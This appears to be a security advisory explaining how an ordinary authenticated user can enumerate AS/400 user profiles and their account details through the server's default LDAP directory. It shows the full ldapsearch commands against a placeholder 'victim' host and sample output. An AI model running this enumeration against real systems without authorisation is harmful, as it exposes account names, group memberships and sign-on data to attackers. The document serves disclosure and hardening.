AS/400 LDAP user accounts disclosure

Overview

By default, a new iSeries server comes with a pre-installed directory server, better known as an LDAP server. LDAP, or Lightweight Directory Access Protocol, is the industry standard for enterprise directory services, and forms the basis for many common directory applications such as Microsoft Active Directory, iPlanet directory, Oracle OID and others. On the AS400, this pre-installed service is turned on by default, although it is not necessary for the regular operations of the AS/400 server. On the one hand, you may decide to use this service as the organizational directory. On the other hand, many of you will never use the iSeries LDAP server. On the gripping hand - as we are about to see – LDAP can be used to enumerate the AS400 user profiles.

The problem

The AS400 system projected backend has the ability to map OS/400 objects as entries within the LDAP-accessible directory tree.

http://publib.boulder.ibm.com/iseries/v5r2/ic2924/info/rzahy/rzahyldapops.htm

The projected objects are LDAP representations of OS/400 objects instead of actual entries stored in the LDAP server database. With V5R2, OS/400 user profiles are the only objects being mapped or projected as entries within the directory tree, but it is sufficient to retrieve the list of users with an LDAP search.

A simple, DOS based LDAP search will demonstrate the technique: we need a regular AS400 user and password, regardless of the interactive capabilities the user may have.

We also need an LDAP client. Windows 2000 server resource kit includes a program called ldp.exe which provides a simple LDAP client, but I prefer the ldapsearch command line tool (available as part of the iPlanet SDK, or out-of-the-box in an AS/400 Qshell environment). The ldapsearch tool has consistent cross-platform behavior and characteristics, as well as full support for all LDAP search features.

In our quest, we will use the following search attributes:

-h : the server name or IP address.

-b : the base directory tree to search. Must be "cn=accounts,os400-sys=AS400-name".

-D : the bind DN information, must include a valid user profile name.

-w : the AS400 password.
-L : formats the output as LDIF and is optional.
-s : must be sub

The system name can be found on the server, in the /QIBM/UserData/OS400/DirSrv/slapd.conf file.

The command as shown below is wrapped across multiple lines. Actually, it must be typed in a single line.

```
C:\> ldapsearch -h as400.victim.com
-b "cn=accounts,os400-sys=S0011223.victim.com"
-D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.victim.com"
-w as400Password -L -s sub "os400-profile=*"  > as4000-ldif.txt
```

The result is a file called "as400-ldif.txt" that contains entries similar to the following:

```
dn: os400-profile=ABRAHAM,cn=accounts,os400-sys=S0011223.VICTIM.COM
objectclass: os400-usrprf
os400-profile: ABRAHAM

dn: os400-profile=LESLIE,cn=accounts,os400-sys=S0011223.VICTIM.COM
objectclass: os400-usrprf
os400-profile: LESLIE

dn: os400-profile=ASSET,cn=accounts,os400-sys=S0011223.VICTIM.COM
objectclass: os400-usrprf
os400-profile: ASSET
```

The LDAP server will not disclose information about user profiles unless the requester has permission to view those profiles. Unfortunately, being in the same group, a common enough scenario, is enough to enable the attacker to view the full list of group members.

Some further investigation will reveal the actual information about the user profile. Let's investigate user LESLIE.

```
C:\> ldapsearch -h as400.victim.com
-b "cn=accounts,os400-sys=S0011223.victim.com"
-D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.victim.com"
-w as400Password -L -s sub "os400-profile=LESLIE"

dn: os400-profile=LESLIE,cn=accounts,os400-sys=S0011223.victim.com
objectclass: os400-usrprf
os400-profile: LESLIE
os400-pwdexp: *YES
os400-status: *ENABLED
os400-usrcls: *USER
os400-astlvl: *SYSVAL
os400-curlib: *CRTDFT
os400-inlpgm: APPLIB/PUNCH
```



```
os400-inlmnu: *SIGNOFF
os400-lmtcpb: *YES
os400-text: automatic punch out user
os400-spcaut: *NONE
os400-spcenv: *SYSVAL
os400-owner: *GRPPRF
os400-dspsgninf: *SYSVAL
os400-pwdexpitv: *SYSVAL
os400-lmtdevssn: *SYSVAL
os400-kbdbuf: *SYSVAL
os400-maxstg: *NOMAX
os400-ptylmt: 3
os400-jobd: APPLIB/QDFTJOBD
os400-grpprf: ASSET
os400-grpaut: *NONE
os400-grpauttyp: *PRIVATE
os400-supgrpprf: *NONE
os400-acgcde:: ICAgICAgICAgICAgICAg
os400-msgq: QUSRSYS/LESLIE
os400-dlvry: *NOTIFY
os400-sev: 0
os400-prtdev: *WRKSTN
os400-outq: *WRKSTN
os400-atnpgm: *SYSVAL
os400-srtseq: *SYSVAL
os400-langid: *SYSVAL
os400-cntryid: *SYSVAL
os400-ccsid: *SYSVAL
os400-chridctl: *SYSVAL
os400-setjobatr: *SYSVAL
os400-locale: *SYSVAL
os400-usropt: *STSMSG
os400-usropt: *PRTMSG
os400-uid: 456
os400-gid: *NONE
os400-homedir: /home/LESLIE
os400-objaud: *NONE
os400-audlvl: *NONE
os400-invalidsignoncount: 0
os400-storageused: 0
os400-storageusedoniasp: *NO
os400-passwordlastchanged: 12/07/01
os400-previoussignon: 12/07/01  06:24:31
```

The information includes the login script name, account status, last login date, password change date and more.

More iSeries and AS/400 hacks can be found in the "Hacking iSeries" book, at www.venera.com